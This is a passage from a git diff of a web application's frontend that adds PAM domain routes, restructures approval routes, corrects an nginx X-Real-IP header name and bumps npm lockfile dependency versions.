+      "filePath": "pam/PamDomainsPage/route.tsx",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains"
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/": {
       "filePath": "pam/PamResourcesPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources"
@@ -8361,9 +8658,9 @@ export const routeTree = rootRoute
       "filePath": "ai/MCPServerDetailPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/ai/$projectId/_ai-layout"
     },
-    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approval-requests/$approvalRequestId": {
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals/$approvalRequestId": {
       "filePath": "cert-manager/ApprovalRequestDetailPage/route.tsx",
-      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout"
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/approvals"
     },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/ca/$caId": {
       "filePath": "cert-manager/CertAuthDetailsByIDPage/route.tsx",
@@ -8389,9 +8686,9 @@ export const routeTree = rootRoute
       "filePath": "cert-manager/PkiSubscriberDetailsByIDPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/cert-manager/$projectId/_cert-manager-layout/subscribers"
     },
-    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approval-requests/$approvalRequestId": {
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals/$approvalRequestId": {
       "filePath": "pam/ApprovalRequestDetailPage/route.tsx",
-      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout"
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/approvals"
     },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/sessions/$sessionId": {
       "filePath": "pam/PamSessionsByIDPage/route.tsx",
@@ -8805,6 +9102,14 @@ export const routeTree = rootRoute
       "filePath": "secret-scanning/SecretScanningDataSourceByIdPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-scanning/$projectId/_secret-scanning-layout/data-sources"
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId": {
+      "filePath": "",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains",
+      "children": [
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/",
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId"
+      ]
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId": {
       "filePath": "",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources",
@@ -8821,6 +9126,10 @@ export const routeTree = rootRoute
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/$commitId"
       ]
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/": {
+      "filePath": "pam/PamDomainByIDPage/route.tsx",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId"
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/": {
       "filePath": "pam/PamResourceByIDPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId"
@@ -8889,6 +9198,13 @@ export const routeTree = rootRoute
       "filePath": "secret-manager/CommitDetailsPage/components/RollbackPreviewTab/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/secret-management/$projectId/_secret-manager-layout/commits/$environment/$folderId/$commitId"
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId": {
+      "filePath": "",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId",
+      "children": [
+        "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId/"
+      ]
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId": {
       "filePath": "",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId",
@@ -8896,6 +9212,10 @@ export const routeTree = rootRoute
         "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId/"
       ]
     },
+    "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId/": {
+      "filePath": "pam/PamDomainAccountByIDPage/route.tsx",
+      "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/domains/$domainType/$domainId/accounts/$accountId"
+    },
     "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId/": {
       "filePath": "pam/PamAccountByIDPage/route.tsx",
       "parent": "/_authenticate/_inject-org-details/_org-layout/organizations/$orgId/projects/pam/$projectId/_pam-layout/resources/$resourceType/$resourceId/accounts/$accountId"
diff --git a/frontend/src/routes.ts b/frontend/src/routes.ts
index 4fc7c036697..d17988e1ad2 100644
--- a/frontend/src/routes.ts
+++ b/frontend/src/routes.ts
@@ -22,7 +22,7 @@ const secretManagerRoutes = route("/organizations/$orgId/projects/secret-managem
     route("/secrets/$envSlug", "secret-manager/SecretDashboardPage/route.tsx"),
     route("/allowlist", "secret-manager/IPAllowlistPage/route.tsx"),
     route("/approval", "secret-manager/SecretApprovalsPage/route.tsx"),
-    route("/secret-rotation", "secret-manager/SecretRotationPage/route.tsx"),
+    route("/insights", "secret-manager/InsightsPage/route.tsx"),
     route("/settings", "secret-manager/SettingsPage/route.tsx"),
     route("/commits/$environment/$folderId", [
       index("secret-manager/CommitsPage/route.tsx"),
@@ -274,6 +274,8 @@ const secretManagerIntegrationsRedirect = route("/integrations", [
 
 const certManagerRoutes = route("/organizations/$orgId/projects/cert-manager/$projectId", [
   layout("cert-manager-layout", "cert-manager/layout.tsx", [
+    index("cert-manager/DashboardPage/route-index.tsx"),
+    route("/overview", "cert-manager/DashboardPage/route.tsx"),
     route("/policies", "cert-manager/PoliciesPage/route.tsx"),
     route("/subscribers", [
       index("cert-manager/PkiSubscribersPage/route.tsx"),
@@ -291,11 +293,10 @@ const certManagerRoutes = route("/organizations/$orgId/projects/cert-manager/$pr
       index("cert-manager/CodeSigningPage/route.tsx"),
       route("/$signerId", "cert-manager/SignerDetailPage/route.tsx")
     ]),
-    route("/approvals", "cert-manager/ApprovalsPage/route.tsx"),
-    route(
-      "/approval-requests/$approvalRequestId",
-      "cert-manager/ApprovalRequestDetailPage/route.tsx"
-    ),
+    route("/approvals", [
+      index("cert-manager/ApprovalsPage/route.tsx"),
+      route("/$approvalRequestId", "cert-manager/ApprovalRequestDetailPage/route.tsx")
+    ]),
     route("/ca/$caId", "cert-manager/CertAuthDetailsByIDPage/route.tsx"),
     route("/certificates/$certificateId", "cert-manager/CertificateDetailsByIDPage/route.tsx"),
     route("/pki-collections/$collectionId", "cert-manager/PkiCollectionDetailsByIDPage/routes.tsx"),
@@ -391,6 +392,13 @@ const pamRoutes = route("/organizations/$orgId/projects/pam/$projectId", [
         route("/accounts/$accountId", [index("pam/PamAccountByIDPage/route.tsx")])
       ])
     ]),
+    route("/domains", [
+      index("pam/PamDomainsPage/route.tsx"),
+      route("/$domainType/$domainId", [
+        index("pam/PamDomainByIDPage/route.tsx"),
+        route("/accounts/$accountId", [index("pam/PamDomainAccountByIDPage/route.tsx")])
+      ])
+    ]),
     route("/discovery", [
       index("pam/PamDiscoveryPage/route.tsx"),
       route("/$discoveryType/$discoverySourceId", "pam/PamDiscoveryDetailPage/route.tsx")
@@ -398,8 +406,10 @@ const pamRoutes = route("/organizations/$orgId/projects/pam/$projectId", [
     route("/audit-logs", "project/AuditLogsPage/route-pam.tsx"),
     route("/settings", "pam/SettingsPage/route.tsx"),
     route("/account-policies", "pam/PamAccountPoliciesPage/route.tsx"),
-    route("/approvals", "pam/ApprovalsPage/route.tsx"),
-    route("/approval-requests/$approvalRequestId", "pam/ApprovalRequestDetailPage/route.tsx"),
+    route("/approvals", [
+      index("pam/ApprovalsPage/route.tsx"),
+      route("/$approvalRequestId", "pam/ApprovalRequestDetailPage/route.tsx")
+    ]),
 
     // Access Management
     route("/access-management", "project/AccessControlPage/route-pam.tsx"),
@@ -444,7 +454,6 @@ export const routes = rootRoute("root.tsx", [
   route("/shared/secret/$secretId", "public/ViewSharedSecretByIDPage/route.tsx"),
   route("/secret-request/secret/$secretRequestId", "public/ViewSecretRequestByIDPage/route.tsx"),
   route("/share-secret", "public/ShareSecretPage/route.tsx"),
-  route("/upgrade-path", "public/UpgradePathPage/route.tsx"),
   route("/cli-redirect", "auth/CliRedirectPage/route.tsx"),
   middleware("restrict-login-signup.tsx", [
     route("/admin/signup", "admin/SignUpPage/route.tsx"),
@@ -453,7 +462,6 @@ export const routes = rootRoute("root.tsx", [
       route("/admin", "auth/AdminLoginPage/route.tsx"),
       route("/select-organization", "auth/SelectOrgPage/route.tsx"),
       route("/ldap", "auth/LoginLdapPage/route.tsx"),
-      route("/provider/success", "auth/ProviderSuccessPage/route.tsx"),
       route("/provider/error", "auth/ProviderErrorPage/route.tsx")
     ]),
     route("/signup", [
diff --git a/frontend/src/views/PkiAlertsV2Page/components/CreatePkiAlertV2FormSteps.tsx b/frontend/src/views/PkiAlertsV2Page/components/CreatePkiAlertV2FormSteps.tsx
index 053a3182ed9..8e30b530627 100644
--- a/frontend/src/views/PkiAlertsV2Page/components/CreatePkiAlertV2FormSteps.tsx
+++ b/frontend/src/views/PkiAlertsV2Page/components/CreatePkiAlertV2FormSteps.tsx
@@ -45,11 +45,11 @@ import {
   Tr
 } from "@app/components/v2";
 import {
-  Badge,
-  UnstableAccordion as Accordion,
-  UnstableAccordionContent as AccordionContent,
-  UnstableAccordionItem as AccordionItem,
-  UnstableAccordionTrigger as AccordionTrigger
+  Accordion,
+  AccordionContent,
+  AccordionItem,
+  AccordionTrigger,
+  Badge
 } from "@app/components/v3";
 import { useProject } from "@app/context";
 import {
diff --git a/frontend/tsconfig.app.json b/frontend/tsconfig.app.json
index f9379c1c1e5..1f6b29873ad 100644
--- a/frontend/tsconfig.app.json
+++ b/frontend/tsconfig.app.json
@@ -1,6 +1,7 @@
 {
   "compilerOptions": {
-    "tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsbuildinfo",
+    "incremental": true,
+    "tsBuildInfoFile": "./.cache/tsconfig.app.tsbuildinfo",
     "target": "ES2020",
     "useDefineForClassFields": true,
     "lib": ["ES2021", "DOM", "DOM.Iterable"],
diff --git a/frontend/vite.config.ts b/frontend/vite.config.ts
index 56fd3e1831f..d4040640bab 100644
--- a/frontend/vite.config.ts
+++ b/frontend/vite.config.ts
@@ -48,7 +48,21 @@ export default defineConfig(({ mode }) => {
         output: {
           entryFileNames: `assets/[name]-${version}-[hash].js`,
           chunkFileNames: `assets/[name]-${version}-[hash].js`,
-          assetFileNames: `assets/[name]-${version}-[hash].[ext]`
+          assetFileNames: `assets/[name]-${version}-[hash].[ext]`,
+          // recharts/d3 has circular dependencies so we ensure
+          // they remain in the same chunk so that the import resolution
+          // doesn't lead to uninitailized import sequences
+          manualChunks(id) {
+            if (
+              id.includes("node_modules/recharts") ||
+              id.includes("node_modules/d3-") ||
+              id.includes("node_modules/victory-vendor")
+            ) {
+              return "recharts";
+            }
+
+            return undefined;
+          }
         }
       }
     },
diff --git a/nginx/default.conf b/nginx/default.conf
index 241aa299cdf..b6209e9af28 100644
--- a/nginx/default.conf
+++ b/nginx/default.conf
@@ -3,7 +3,7 @@ server {
 
     # WebSocket endpoint for PAM web access
     location ~ ^/api/v1/pam/accounts/[^/]+/web-access$ {
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
@@ -29,7 +29,7 @@ server {
     }
 
     location ~ ^/(api|secret-scanning/webhooks) {
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
@@ -45,7 +45,7 @@ server {
     location /api/v3/migrate {
         client_max_body_size 25M;
 
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
         
         proxy_set_header Host $http_host;
@@ -58,7 +58,7 @@ server {
     }
 
     location /scep {
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
@@ -71,7 +71,7 @@ server {
     }
 
     location /.well-known/est {
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
@@ -88,7 +88,7 @@ server {
     }
 
     # location /git-app-api {
-    #     proxy_set_header X-Real-RIP $remote_addr;
+    #     proxy_set_header X-Real-IP $remote_addr;
     #     proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
         
     #     proxy_set_header Host $http_host;
@@ -104,7 +104,7 @@ server {
     location / {
         include /etc/nginx/mime.types;
 
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
diff --git a/nginx/default.dev.conf b/nginx/default.dev.conf
index 99c90a581d1..7d306d5c583 100644
--- a/nginx/default.dev.conf
+++ b/nginx/default.dev.conf
@@ -10,7 +10,7 @@ server {
 
     # WebSocket endpoint for PAM web access
     location ~ ^/api/v1/pam/accounts/[^/]+/web-access$ {
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
@@ -36,7 +36,7 @@ server {
     }
 
     location ~ ^/(api|secret-scanning/webhooks) {
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
@@ -49,7 +49,7 @@ server {
     }
 
 		location /runtime-ui-env.js {
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
@@ -64,7 +64,7 @@ server {
     location /api/v3/migrate {
         client_max_body_size 25M;
 
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
@@ -77,7 +77,7 @@ server {
     }
 
     location /scep {
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
@@ -91,7 +91,7 @@ server {
 
     location ~ /\.well-known {
 
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
@@ -111,7 +111,7 @@ server {
     location / {
         include /etc/nginx/mime.types;
 
-        proxy_set_header X-Real-RIP $remote_addr;
+        proxy_set_header X-Real-IP $remote_addr;
         proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 
         proxy_set_header Host $http_host;
diff --git a/package-lock.json b/package-lock.json
index 4d72220afd3..612c3058a6a 100644
--- a/package-lock.json
+++ b/package-lock.json
@@ -17,12 +17,10 @@
       }
     },
     "node_modules/@babel/runtime": {
-      "version": "7.23.9",
-      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.23.9.tgz",
-      "integrity": "sha512-0CX6F+BI2s9dkUqr08KFrAIZgNFj75rdBU/DjCyYLIaV/quFjkk6T+EJ2LkZHyZTbEV4L5p97mNkUsHl2wLFAw==",
-      "dependencies": {
-        "regenerator-runtime": "^0.14.0"
-      },
+      "version": "7.29.2",
+      "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.29.2.tgz",
+      "integrity": "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g==",
+      "license": "MIT",
       "engines": {
         "node": ">=6.9.0"
       }
@@ -80,6 +78,37 @@
         "url": "https://opencollective.com/eslint"
       }
     },
+    "node_modules/@eslint/eslintrc/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@eslint/eslintrc/node_modules/brace-expansion": {
+      "version": "1.1.14",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
+      "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/@eslint/eslintrc/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/@eslint/js": {
       "version": "8.57.1",
       "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.57.1.tgz",
@@ -106,6 +135,37 @@
         "node": ">=10.10.0"
       }
     },
+    "node_modules/@humanwhocodes/config-array/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/@humanwhocodes/config-array/node_modules/brace-expansion": {
+      "version": "1.1.14",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
+      "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/@humanwhocodes/config-array/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/@humanwhocodes/module-importer": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
@@ -517,9 +577,9 @@
       }
     },
     "node_modules/ajv": {
-      "version": "6.12.6",
-      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
-      "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "version": "6.14.0",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz",
+      "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -564,22 +624,6 @@
       "dev": true,
       "license": "Python-2.0"
     },
-    "node_modules/balanced-match": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
-      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
-      "dev": true
-    },
-    "node_modules/brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
-      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
-      "dev": true,
-      "dependencies": {
-        "balanced-match": "^1.0.0",
-        "concat-map": "0.0.1"
-      }
-    },
     "node_modules/callsites": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
@@ -628,7 +672,8 @@
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
       "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/cross-spawn": {
       "version": "7.0.6",
@@ -781,6 +826,37 @@
         "url": "https://opencollective.com/eslint"
       }
     },
+    "node_modules/eslint/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/eslint/node_modules/brace-expansion": {
+      "version": "1.1.14",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
+      "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/eslint/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/espree": {
       "version": "9.6.1",
       "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz",
@@ -916,10 +992,11 @@
       }
     },
     "node_modules/flatted": {
-      "version": "3.2.7",
-      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.7.tgz",
-      "integrity": "sha512-5nqDSxl8nn5BSNxyR3n4I6eDmbolI6WT+QqR547RwxQapgjQBmtktdP+HTBb/a/zLsbzERTONyUB5pefh5TtjQ==",
-      "dev": true
+      "version": "3.4.2",
+      "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.4.2.tgz",
+      "integrity": "sha512-PjDse7RzhcPkIJwy5t7KPWQSZ9cAbzQXcafsetQoD7sOJRQlGikNbx7yZp2OotDnJyrDcbyRq3Ttb18iYOqkxA==",
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/fs.realpath": {
       "version": "1.0.0",
@@ -959,6 +1036,37 @@
         "node": ">=10.13.0"
       }
     },
+    "node_modules/glob/node_modules/balanced-match": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+      "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/glob/node_modules/brace-expansion": {
+      "version": "1.1.14",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.14.tgz",
+      "integrity": "sha512-MWPGfDxnyzKU7rNOW9SP/c50vi3xrmrua/+6hfPbCS2ABNWfx24vPidzvC7krjU/RTo235sV776ymlsMtGKj8g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "balanced-match": "^1.0.0",
+        "concat-map": "0.0.1"
+      }
+    },
+    "node_modules/glob/node_modules/minimatch": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz",
+      "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "brace-expansion": "^1.1.7"
+      },
+      "engines": {
+        "node": "*"
+      }
+    },
     "node_modules/globals": {
       "version": "13.24.0",
       "resolved": "https://registry.npmjs.org/globals/-/globals-13.24.0.tgz",
@@ -1101,9 +1209,9 @@
       "peer": true
     },
     "node_modules/js-yaml": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz",
-      "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==",
+      "version": "4.1.1",
+      "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
+      "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -1173,18 +1281,6 @@
         "loose-envify": "cli.js"
       }
     },
-    "node_modules/minimatch": {
-      "version": "3.1.2",
-      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz",
-      "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==",
-      "dev": true,
-      "dependencies": {
-        "brace-expansion": "^1.1.7"
-      },
-      "engines": {
-        "node": "*"
-      }
-    },
     "node_modules/ms": {
       "version": "2.1.3",
       "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
@@ -1360,11 +1456,6 @@
         "react": "^18.2.0"
       }
     },
-    "node_modules/regenerator-runtime": {
-      "version": "0.14.1",
-      "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.14.1.tgz",
